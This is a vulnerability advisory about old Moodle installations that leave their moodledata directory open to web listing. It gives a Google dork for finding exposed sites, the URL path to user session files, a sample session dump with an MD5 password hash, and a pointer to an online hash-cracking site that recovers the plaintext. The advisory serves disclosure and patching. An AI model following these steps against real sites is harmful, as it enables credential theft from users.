Moodle <= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability

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Moodle <= 1.5.2 (moodledata) Remote Session Disclosure Vulnerability
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--/ INTRODUCTION  --


/*
 *
 * Advisory           : MOODLE <= 1.5.2 user password read out
 * Release Date       : 17. March 2007
 * Application        : Moodle.org is a course management system (CMS) 
 *		      :	to help educators create effective online learning communities.
 * Impact             : read out user account passwords in md5 hash
 * Googledork	      : "inurl:moodledata"
 *
 */


--/    SUMMARY    --

Moodle is a course management system (CMS) - a free, Open Source 
software package designed using sound pedagogical principles, to 
help educators create effective online learning communities. You 
can download and use it on any computer you have handy (including 
webhosts), yet it can scale from a single-teacher site to a 
50,000-student University. (www.moodle.org)


--/   REPRODUCE   --

The moodle CMS is located at 'www.TARGET.com/moodle' and the moodle
database at 'www.TARGET.com/moodledata' including uploads, temp and
session files. We're interested to get the session files, created 
by each user:

http://www.TARGET.com/moodledata/sessions/

Filename:

sess_280c9fca6458bf24277cf03c45d2a770

Content: (> 2KB)

SESSION|O:6:"object":12:{s:12:"session_test";s:10:"zN0PiMhwWK";s:8:"encoding";
s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://www.TARGET.com/moodle/mod/forum/
view.php?id=100";s:10:"logincount";i:1;s:18:"cal_course_referer";i:0;s:15:"cal
_show_global";b:1;s:15:"cal_show_groups";b:1;s:15:"cal_show_course";b:1;s:13:"
cal_show_user";b:1;s:17:"cal_courses_shown";a:2:{i:1;b:1;i:9;b:1;}s:15:"cal_u
sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://www.TARGET.com/moodle/
course/view.php?id=9";}USER|O:8:"stdClass":94:{i:0;s:2:"86";s:2:"id";s:2:"86";
i:1;s:5:"email";s:4:"auth";s:5:"email";i:2;s:1:"1";s:9:"confirmed";s:1:"1";i:
3;s:1:"0";s:12:"policyagreed";s:1:"0";i:4;s:1:"0";s:7:"deleted";s:1:"0";i:5;s:
33:"[email protected]";s:8:"username";s:33:"[email protected]";i:6;s:32:"bb07c
989b57c25fd7e53395c3e118185";s:8:"password";s:32:"bb07c989b57c25fd7e53395c3e118185";
i:7;N;s:8:"idnumber";N;i:8;s:9:"Victim";s:9:"firstname";s:9:"Victim";i:9;s:5:
"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"[email protected]";s:5:"email";


In cryptography, MD5 (Message-Digest algorithm 5) is a widely-used cryptographic 
hash function with a 128-bit hash value. (md5 online crack: http://gdataonline.com)

Password (md5 string) = bb07c989b57c25fd7e53395c3e118185
Password (plain text) = Claudia


--     PATCH     /--

Don't allow Directory listing. There are no other possibilities actually as far as I know.



#  0day.today [2018-04-09]  #